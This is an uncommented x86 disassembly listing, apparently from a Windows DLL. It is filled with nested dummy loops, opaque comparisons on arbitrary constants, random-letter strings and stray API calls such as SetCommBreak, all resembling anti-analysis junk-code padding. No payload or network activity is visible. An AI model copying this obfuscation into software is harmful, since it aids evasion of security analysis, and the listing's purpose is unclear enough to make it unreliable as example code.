jge 0x10023ef7
mov edx, str.tkgtnv_twj_itqbcrt_yrqbzi_kzyfr
mov ecx, 0x10078bb8
call fcn.10009472
mov dword [ebp - 4], esi
mov al, byte [ebp - 0x80]
add edi, 2
mov esi, dword [ebp - 0xfc]
jmp 0x10023828
xor eax, eax
mov dword [ebp - 0x2e8], 7
mov word [ebp - 0xbe], ax
lea ecx, [ebp - 0x2fc]
mov word [ebp - 0x2fc], ax
lea eax, [ebp - 0xc0]
push eax
mov dword [ebp - 0x2ec], ebx
call fcn.10005edd
cmp dword [ebp - 0x2e8], 8
lea eax, [ebp - 0x2fc]
push ebx
cmovae eax, dword [ebp - 0x2fc]
lea ecx, [ebp - 0x2fc]
push 1
movzx eax, word [eax]
mov dword [ebp - 0x260], eax
call fcn.10005f65
mov dword [ebp - 0xe4], 2
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x144], 0xaae4b9a7
push 4
call fcn.1000580e
xor eax, eax
mov dword [ebp - 4], 0x25
inc eax
mov dword [ebp - 0x24], 4
push ecx
push eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x1ac]
mov dword [ebp - 0x30], 8
push eax
call fcn.1001def2
add esp, 0x10
mov dword [ebp - 0x88], ebx
jmp 0x10024000
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0x24c], 0xe97312b9
inc dword [ebp - 0x88]
cmp dword [ebp - 0x88], 1
jl 0x10023fe9
push 0x7628
lea eax, [ebp - 0x1ac]
push eax
push ecx
lea eax, [ebp - 0x144]
mov cl, 1
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.1001df2d
mov dword [ebp - 0x2c], 0x21ea
add esp, 0x14
cmp dword [ebp - 0x2c], 0xbe3
jge 0x100241ac
lea eax, [ebp - 0x274]
push eax
lea eax, [ebp - 0x134]
push eax
lea eax, [ebp - 0xdc]
push eax
push str._ld__ld__ld
call fcn.1004669b
lea eax, [ebp - 0x13c]
push eax
lea eax, [ebp - 0xd0]
push eax
push str._ld__ld
call fcn.1004669b
add esp, 0x1c
mov dword [ebp - 0x26c], ebx
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x11c], ebx
lea ecx, [ebp - 0x11c]
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x114], ebx
push eax
push ebx
call fcn.10025c33
mov esi, ebx
mov dword [ebp - 0x110], esi
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0xd0]
test ecx, ecx
jle 0x10024142
mov eax, dword [ebp - 0xdc]
mov edx, dword [ebp - 0x13c]
cmp dword [ebp - 0x134], ecx
jge 0x100240ff
cmp eax, edx
jg 0x100240ff
lea eax, [ebp - 0x64]
mov byte [ebp - 0x64], bl
push eax
lea ecx, [ebp - 0x11c]
call fcn.100258f6
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0x274]
mov ecx, dword [ebp - 0xd0]
jmp 0x1002412a
lea eax, [ebp - 0x66]
mov byte [ebp - 0x66], 1
push eax
lea ecx, [ebp - 0x11c]
call fcn.100258f6
mov ecx, dword [ebp - 0xd0]
sub ecx, dword [ebp - 0x134]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xd0], ecx
mov edx, dword [ebp - 0x13c]
sub eax, edx
mov dword [ebp - 0xdc], eax
test ecx, ecx
jg 0x100240cd
mov esi, dword [ebp - 0x110]
push esi
push str._ld_n
call fcn.1004699c
mov edi, dword [ebp - 0x11c]
mov dword [ebp - 0x2c], ebx
pop ecx
pop ecx
test esi, esi
je 0x10024189
xor eax, eax
mov edx, ebx
inc eax
shr edx, 5
mov ecx, ebx
and ecx, 0x1f
shl eax, cl
mov ecx, str.HEAL
test dword [edi + edx*4], eax
mov eax, str.STRIKE
cmove eax, ecx
push eax
call fcn.10046bb6
inc ebx
pop ecx
cmp ebx, esi
jb 0x1002415c
xor ebx, ebx
mov dword [ebp - 0x110], ebx
test edi, edi
je 0x100241ac
push edi
call fcn.10046b69
pop ecx
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x114], ebx
cmp dword [ebp - 0x24], ebx
jne 0x100241bd
cmp dword [ebp - 0xe4], ebx
jne 0x100241bd
mov esi, ebx
jmp 0x100241c0
xor esi, esi
inc esi
mov eax, dword [ebp - 0x1ac]
xor ecx, ecx
mov eax, dword [eax]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0x7e280bfe
mov eax, dword [ebp - 0xe4]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1ac]
setge cl
xor edx, edx
cmp ecx, dword [eax + 8]
mov eax, dword [ebp - 0x24c]
setg dl
xor ecx, ecx
cmp esi, edx
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xe4]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1ac]
sete cl
or dword [ebp - 4], 0xffffffff
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x1ac]
call fcn.1000586b
mov esi, ebx
mov dword [ebp - 0x20], ebx
push 2
pop ecx
cmp esi, ecx
jae 0x100243d7
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x18], 0x182eac45
mov dword [ebp - 0x2c], 0xcddd1d8f
mov dword [ebp - 0x1c], ebx
jmp 0x10024274
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3bc], 0xfffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10024263
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle dl
cmp edx, dword [ebp - 0x18]
jne 0x100242ba
push 0x73d2
mov dword [ebp - 0x2c], 0x3b1a9565
mov eax, dword [ebp - 0x2c]
push ecx
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x68]
push ecx
push eax
push 0x7c68
mov cl, 1
mov byte [ebp - 0x68], bl
call fcn.10020c1b
add esp, 0x14
jmp 0x100243b4
mov dword [ebp - 0x18], ebx
jmp 0x100242d3
mov dl, 1
call fcn.10020d6c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3bc]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jle 0x100242bf
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0x1b
jl 0x100243b1
mov dword [ebp - 0x1c], 0x7ca4
cmp dword [ebp - 0x1c], 0x7d03
jle 0x10024350
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov edx, esi
mov edi, ebx
xor edx, eax
mov dword [ebp - 0x38], edx
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov eax, edi
shl eax, cl
mov ecx, 0x10078bb8
or eax, edx
cdq
push edx
push eax
call fcn.100055e4
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x38]
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x2a8f
jl 0x1002430b
inc edi
cmp edi, 0x1891
jl 0x10024306
mov eax, dword [ebp - 0x28]
inc esi
cmp esi, 0x237
jl 0x100242fd
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x38bc
jl 0x100242fb
mov byte [ebp - 0x6a], bl
mov dword [ebp - 4], 0x27
cmp dword [ebp - 0x1c], 0x7c8d
jge 0x10024372
mov edx, str.julnydtzi_syim_jmivce_vhuisbuf_pnjmr_vtcrip_xmd
mov ecx, 0x10078bb8
call fcn.10009472
or dword [ebp - 4], 0xffffffff
sub esp, 0xc
lea eax, [ebp - 0x6a]
mov dl, 1
push eax
call fcn.10020e0f
add esp, 0x10
inc dword [ebp - 0x18]
jmp 0x100242dc
mov esi, dword [ebp - 0x20]
push 1
push ecx
lea edx, [ebp - 0x6c]
mov byte [ebp - 0x6c], bl
call fcn.10020e5b
xor eax, eax
mov word [ebp + esi*2 - 0xc0], ax
inc esi
pop ecx
pop ecx
mov dword [ebp - 0x20], esi
jmp 0x1002423e
mov dword [ebp - 0x254], 0xd94fe5f3
mov dword [ebp - 0x1c], ebx
jmp 0x100243f7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x188], 1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100243e6
mov dword [ebp - 0x188], ebx
cmp dword [ebp - 0x188], 0xb
jg 0x10024565
mov dword [ebp - 0x24], 0x3011
cmp dword [ebp - 0x24], 0x311b
jle 0x1002444d
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10078bb8
or eax, esi
cdq
push edx
push eax
call fcn.100055e4
inc edi
cmp edi, 0x54b
jl 0x10024423
inc esi
cmp esi, 0x4649
jl 0x10024421
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [ebp - 0x1f4], 0xfffffffa
mov dword [ebp - 4], 0x29
cmp dword [ebp - 0x24], 0x2d00
jge 0x10024476
mov edx, str.nzzc_wtkppscs_ospv_xswy_pbpztzqs_mvhmr_dokg_rkjt_sie
mov ecx, 0x10078bb8
call fcn.10009472
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x24], 0x796f
cmp dword [ebp - 0x24], 0x79c4
jle 0x100244c2
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov eax, ebx
mov ecx, 0x10078bb8
and eax, esi
or eax, edi
cdq
push edx
push eax
call fcn.100055e4
inc ebx
cmp ebx, 0x4f94
jl 0x10024491
inc esi
push 0
pop ebx
cmp esi, 0x6868
jl 0x1002448e
inc edi
cmp edi, 0x3f9b
jl 0x1002448c
push ecx
push 0x4546
mov cl, 1
call fcn.1001e022
pop ecx
mov dword [ebp - 4], 0x2b
cmp dword [ebp - 0x24], 0x7889
pop ecx
jge 0x100244f0
mov edx, str.cwcfabj_tya_sid
mov ecx, 0x10078bb8
call fcn.10009472
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x1f4]
push eax
push ecx
push ecx
lea eax, [ebp - 0x254]
xor cl, cl
push 0x6199
push eax
call fcn.10020c1b
add esp, 0x14
inc dword [ebp - 0x188]
jmp 0x10024402
mov eax, dword [ebp - 0x154]
shr eax, 1
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp - 0x60]
inc eax
cmp eax, dword [ebp - 0x25c]
jae 0x10025257
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x24], 0x36fde002
mov dword [ebp - 0x38], 0x34bb1b2b
mov dword [ebp - 0x20], 0x7c7d
cmp dword [ebp - 0x20], 0x800b
jle 0x100245f7
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x1c], 0x2626
mov esi, dword [ebp - 0x28]
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x10078bb8
cdq
push edx
push eax
call fcn.100055e4
inc edi
cmp edi, 0x6f6d
jl 0x100245bd
mov esi, dword [ebp - 0x18]
add dword [ebp - 0x28], esi
dec dword [ebp - 0x1c]
jne 0x100245b8
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x79bf
jl 0x100245ae
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [ebp - 0x3c], 0xfffffffd
mov dword [ebp - 4], 0x2d
cmp dword [ebp - 0x20], 0x79f7
jge 0x1002461d
mov edx, str.coapqqu_xnd_uyzi_ijudvk_bxdfhfb_syb_bedtggl_xvtxzrh_dsnhqknr_abgx
mov ecx, 0x10078bb8
call fcn.10009472
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x78], 8
lea ecx, [ebp - 0x28c]
push 2
call fcn.1000580e
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0x2c], 0xb805
mov dword [ebp - 0x3c], 9
mov dword [ebp - 0x28], 0x5fdcf91f
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], 0xff14
mov dword [ebp - 0xb8], ebx
jmp 0x1002469c
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x128], 0xffffffff
inc dword [ebp - 0xb8]
cmp dword [ebp - 0xb8], 3
jl 0x10024685
push ecx
lea eax, [ebp - 0xb8]
mov cl, 1
push eax
lea edx, [ebp - 0x28c]
call fcn.100211b2
pop ecx
pop ecx
mov dword [ebp - 0x20], 0xfffffffe
jmp 0x10024849
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x194]
mov dword [ebp - 0x204], 0xffffffff
push 1
call fcn.1000580e
mov byte [ebp - 4], 0x30
mov dword [ebp - 0xb0], 2
mov dword [ebp - 0x28], 0xb6d4
mov dword [ebp - 0x18], ebx
jmp 0x1002470d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x42c], 0x69b7d6b5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x100246fc
mov dword [ebp - 0x18], ebx
jmp 0x1002472b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x194]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x10024718
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setl dl
neg edx
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x18]
jne 0x10024772
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0x1b6e
setg cl
sub ecx, dword [ebp - 0x204]
mov eax, dword [ebp - 0x18]
inc eax
add eax, ecx
je 0x1002477f
cmp dword [ebp - 0x120], ebx
je 0x1002477f
xor eax, eax
inc eax
jmp 0x10024781
mov eax, ebx
mov dword [ebp - 0x428], eax
mov eax, dword [ebp - 0x194]
cmp dword [eax], ebx
je 0x100247b7
cmp dword [ebp - 0x20], 0xfffffffe
je 0x100246c8
dec dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28c]
mov dword [eax + 4], ecx
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], ebx
je 0x10024874
cmp dword [ebp - 0x2c], ebx
je 0x10024874
xor eax, eax
inc eax
jmp 0x10024876
mov eax, ebx
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x38]
jne 0x1002488a
cmp dword [ebp - 0x24], ebx
jne 0x1002488a
mov eax, ebx
jmp 0x1002488d
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
sub edx, 0xfffffffc
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x124], ebx
je 0x100248d4
mov eax, dword [ebp - 0x28c]
cmp dword [eax], ebx
je 0x100248d4
xor ecx, ecx
inc ecx
jmp 0x100248d6
mov ecx, ebx
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x24]
sub ecx, eax
sub ecx, dword [ebp - 0x124]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
test eax, eax
setg cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x28c]
or dword [ebp - 4], 0xffffffff
call fcn.1000586b
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x34]
lea ecx, [ecx + eax*2]
call fcn.1001cb68
mov dword [ebp - 0x14c], eax
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x20], 1
push 2
call fcn.1000580e
push ecx
push ecx
push 1
lea eax, [ebp - 0x48]
mov dword [ebp - 4], 0x31
push eax
mov dword [ebp - 0x78], 0xffffffff
lea ecx, [ebp - 0x1a0]
push 0x2b8e
call fcn.1001e273
add esp, 0x14
mov dword [ebp - 0x48], ebx
jmp 0x10024975
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x1d4], 0xffffffff
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 4
jl 0x10024964
mov dword [ebp - 0x48], ebx
jmp 0x10024991
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x1f0], 1
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 3
jl 0x10024980
mov dword [ebp - 0x48], ebx
jmp 0x100249ad
mov dword [ebp - 0x1c], 0xffffffff
lea ecx, [ebp - 0x380]
mov dword [ebp - 0x30], 0xffffffff
push 3
call fcn.1000580e
mov dword [ebp - 4], 0x3c
lea eax, [ebp - 0x380]
push 0xeca
mov dword [ebp - 0x30], ebx
lea edx, [ebp - 0x98]
mov dword [ebp - 0x30], 0x184
mov cl, 1
push 1
mov dword [ebp - 0x30], 0xa530
push 0x1672
mov dword [ebp - 0x30], 0xfbfc75da
mov dword [ebp - 0x30], 0x48bb
push 1
mov dword [ebp - 0x30], 0xeb66
mov dword [ebp - 0x30], 0xbb7a2e25
push eax
call fcn.1001e5a7
add esp, 0x14
mov dword [ebp - 0x98], ebx
jmp 0x100252ea
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x140], 0x32da3bb1
inc dword [ebp - 0x98]
cmp dword [ebp - 0x98], 1
jl 0x100252d3
dec dword [ebp - 0x140]
mov dword [ebp - 0x1c], ebx
jmp 0x1002532a
push 0x4270
lea eax, [ebp - 0x71]
mov byte [ebp - 0x71], bl
push eax
push 0x7e40
push 0x74a9
push 1
push 1
mov edx, 0x7d7e
mov cl, 1
call fcn.10021a0e
add esp, 0x18
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffea
jle 0x100252fe
lea ecx, [ebp - 0x380]
call fcn.1000586b
mov ecx, dword [ebp - 0xc]
mov eax, 0x1010d9a4
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret